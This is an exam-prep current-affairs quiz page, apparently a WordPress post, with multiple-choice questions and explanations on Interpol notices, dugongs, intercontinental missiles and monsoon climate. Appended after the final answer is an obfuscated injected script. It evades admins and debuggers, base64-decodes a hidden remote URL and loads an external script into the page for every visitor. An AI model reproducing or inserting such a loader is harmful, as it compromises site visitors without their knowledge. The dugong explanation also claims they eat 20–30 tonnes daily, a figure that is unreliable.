humanity.<\/li>\n\n\n\n<li>They can also be issued at the request of the United Nations in relation to the implementation of sanctions imposed by the Security Council.<\/li>\n\n\n\n<li><strong><em>Most Notices are for police use only and are not available to the public.<\/em><\/strong> However, an extract of the Notice can be published on this site if the requesting country wishes to alert the public or seek their help.<\/li>\n\n\n\n<li><strong>Red Notice: <\/strong>To seek the location and arrest of persons wanted for prosecution or to serve a sentence.<\/li>\n\n\n\n<li><strong>Yellow Notice: <\/strong>To help locate missing persons, often minors, or to help identify persons who are unable to identify themselves.<\/li>\n\n\n\n<li><strong>Blue Notice: <\/strong>To collect additional information about a person\u2019s identity, location or activities in relation to a criminal investigation.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/strong><\/li>\n\n\n\n<li><strong>Black Notice: <\/strong>To seek information on unidentified bodies.<\/li>\n\n\n\n<li><strong>Green Notice: <\/strong>To provide warning about a person\u2019s criminal activities, where the person is considered to be a possible threat to public safety.<\/li>\n\n\n\n<li><strong>Orange Notice: <\/strong>To warn of an event, a person, an object or a process representing a serious and imminent threat to public safety.<\/li>\n\n\n\n<li><strong>Purple Notice: <\/strong>To seek or provide information on modus operandi, objects, devices and concealment methods used by criminals.<\/li>\n\n\n\n<li><strong>Silver Notice (pilot phase): <\/strong>To identify and trace criminal assets (The silver notices enable member countries to request information on assets linked to a person\u2019s criminal activities such as fraud, corruption, drug trafficking, environmental crime and other serious offences).<\/li>\n\n\n\n<li><strong>INTERPOL\u2013United Nations Security Council Special Notice: Issued for entities and individuals who are the targets of UN Security Council Sanctions Committees.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"412\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-16.jpg\" alt=\"\" class=\"wp-image-2146\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-16.jpg 624w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-16-300x198.jpg 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong><u><a href=\"https:\/\/www.interpol.int\/en\/How-we-work\/Notices\/About-Notices\" target=\"_blank\" rel=\"noopener\">https:\/\/www.interpol.int\/en\/How-we-work\/Notices\/About-Notices<\/a><\/u><\/strong><strong> <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/cbi-gets-published-interpol-silver-notices-against-two-fugitives\/article69626324.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/cbi-gets-published-interpol-silver-notices-against-two-fugitives\/article69626324.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>8. With respect to dugongs, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">1. Dugongs are the only herbivorous mammals found in India\u2019s marine ecosystems.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">2. Dugongs are generally solitary animals and are long-lived species, able to live up to 70 years.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">3. Unlike manatees, their close relatives, dugongs are more strictly marine, preferring waters a few metres deep.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Which of the above statement(s) is\/are <em>not<\/em> correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(c) 1 and 3 Only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Answer: (d) None<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong><em>News: Farmers of the sea: India\u2019s dugongs must stay a conservation priority<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-149\">\n<li><strong>May 28 <\/strong>is celebrated every year as<strong> World Dugong Day. <\/strong>Dugongs are the<strong> only herbivorous mammals <\/strong>found in India\u2019s marine ecosystems. <strong><em>Hence statement (1) is correct.<\/em><\/strong><\/li>\n\n\n\n<li><strong>Dugongs are marine mammals<\/strong> that <strong>feed extensively on low-nutrient seagrass,<\/strong> consuming<strong> 20\u201330 tonnes daily<\/strong>. Their <em>unique feeding method allows them to digest cellulose but wears down their teeth, which they regrow throughout life. <\/em><strong>Dugongs can live up to 70 years.<\/strong><\/li>\n\n\n\n<li><strong>Dugongs <\/strong>are also<strong> <em>generally solitary<\/em> <em>or found in small mother-calf pairs<\/em>. <\/strong>Researchers have occasionally observed small groups, but large herds\u2014 as are common in Australian waters \u2014 are rare in India.<strong> <em>Hence statement (2) is correct.<\/em><\/strong><\/li>\n\n\n\n<li><strong>Unlike manatees<\/strong>, their close relatives, dugongs are more strictly marine, preferring waters a few metres deep. <strong><em>Dugongs primarily inhabit warm waters around the Andaman and Nicobar Islands, the Gulf of Mannar, Palk Bay, and the Gulf of Kutch.<\/em><\/strong> <strong><em>Hence statement (3) is correct.<\/em><\/strong><\/li>\n\n\n\n<li><strong>Dugongs inhabit shallow tropical coastal waters and are more strictly marine than are manatees<\/strong><\/li>\n\n\n\n<li>Dugongs are listed as being<strong> \u2018vulnerable\u2019 on the IUCN Red List for Threatened Species.<\/strong> The threats they face worldwide include<strong><em> rapidly declining populations and the ongoing degradation of their seagrass habitats. <\/em><\/strong>In India, they are classified as <strong>\u201cregionally endangered.\u201d<\/strong><\/li>\n\n\n\n<li><strong>Pollution<\/strong> can also affect them directly, with studies showing the<strong> accumulation of mercury and organochlorine compounds in their muscle tissues.<\/strong><\/li>\n\n\n\n<li><strong>Because dugongs reproduce slowly and require vast, undisturbed seagrass meadows to thrive, their populations are highly vulnerable to human disturbances. Seagrass meadows, their primary habitats, are being lost at an alarming rate.<\/strong><\/li>\n\n\n\n<li>Increased human movement and activity in dugong habitats and more boat traffic in the Gulf of Mannar, Palk Bay, and the Gulf of Kachchh \u2014 all directly threaten the species.<\/li>\n\n\n\n<li>Dugongs also often rest near the surface, making them vulnerable to collisions with fast-moving boats, leading to injuries or fatalities.<\/li>\n\n\n\n<li>Dugongs are gentle giants and act as gardeners of the sea, quietly shaping our oceans by nurturing seagrass meadows.<\/li>\n\n\n\n<li>The Gulf of Mannar Biosphere Reserve has taken conservation efforts for sea cow\/dugong.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"503\" height=\"235\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-15.jpg\" alt=\"\" class=\"wp-image-2145\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-15.jpg 503w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-15-300x140.jpg 300w\" sizes=\"auto, (max-width: 503px) 100vw, 503px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>About Sea grass:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li>Seagrass is an underwater flowering plant, not to be confused with seaweed. Classified as wetland ecosystems, <strong>seagrass meadows stabilize the seafloor, support fisheries, capture carbon, and shelter marine life.<\/strong> Healthy seagrass is <strong><em>essential for dugongs and marine life such as turtles and fish.<\/em><\/strong><\/li>\n\n\n\n<li><strong><em>A 2022 study by the National Centre for Sustainable Coastal Management<\/em><\/strong> documented 516.59 sq. km of seagrass habitat in India. This translates to a <strong>carbon dioxide sequestration potential of up to 434.9 tonnes per sq. km each year.<\/strong><\/li>\n\n\n\n<li>India\u2019s most extensive seagrass meadows occur along the <strong>Gulf of Mannar and Palk Bay, off the coast of Tamil Nadu, and together support more than 13 species of seagrass \u2014 the highest diversity in the Indian Ocean.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/world-dugong-day-india-vulnerable-conservation-priority\/article69624446.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/world-dugong-day-india-vulnerable-conservation-priority\/article69624446.ece<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>9. LGM-30G Minuteman III, RS-28 Sarmat, DF-41 recently seen in news which are related to<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">(a) Aircraft Carrier<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">(b) Inter-continental missile<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">(c) Anti-Submarine Warfare<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(d) Launch vehicle<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>Answer: (b) Inter-continental missile<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>News: Minuteman III test launch showcases readiness of US nuclear force&#8217;s safe, effective deterrent<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-162\">\n<li><strong>The United States Air Force<\/strong> conducted a successful test launch of the <strong>LGM-30G Minuteman III intercontinental ballistic missile (ICBM).<\/strong><\/li>\n\n\n\n<li>ICBM is a<strong> long-range missile <\/strong>capable of delivering nuclear warheads across continents.<\/li>\n\n\n\n<li>The Minuteman is a 1970-era program which the Air Force plans to replace with the LGM-35A Sentinel system. Minuteman III is to be used as a \u201cviable deterrent\u201d until LGM achieves full capability.<\/li>\n\n\n\n<li><strong>LGM stands for silo-launched (L), surface attack (G) and guided missile (M). <\/strong>Originally built by Douglas Aircraft; later managed by McDonnell Douglas and now Boeing.<\/li>\n\n\n\n<li><strong>RS-28 Sarmat: <\/strong>It is a liquid-fueled <strong>intercontinental ballistic missile developed by Russia.<\/strong><\/li>\n\n\n\n<li>It is named after the<strong><em> Sarmatian people of the fourth and fifth century BC.<\/em><\/strong> It has also been referred to in the West as the <strong>&#8220;Satan II&#8221;.<\/strong><\/li>\n\n\n\n<li><strong>The Dongfeng-41 or DF-41 is a fourth-generation Chinese<\/strong> solid-fuelled road-mobile intercontinental ballistic missile.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><a href=\"https:\/\/economictimes.indiatimes.com\/news\/international\/us\/us-test-fires-minuteman-iii-nuclear-missile-a-day-after-donald-trump-announced-golden-dome\/articleshow\/121339860.cms?from=mdr\" target=\"_blank\" rel=\"noopener\">https:\/\/economictimes.indiatimes.com\/news\/international\/us\/us-test-fires-minuteman-iii-nuclear-missile-a-day-after-donald-trump-announced-golden-dome\/articleshow\/121339860.cms?from=mdr<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>10. The seasonal reversal of winds is the typical characteristic of (UPSC PYQ)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">&nbsp;(a) Equatorial climate<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">&nbsp;(b) Mediterranean climate<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">&nbsp;(c) Monsoon climate<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">&nbsp;(d) All of the above climates<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Answer: (c) Monsoon climate<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to the Indian navigation system NavIC, consider the following statements: 1. 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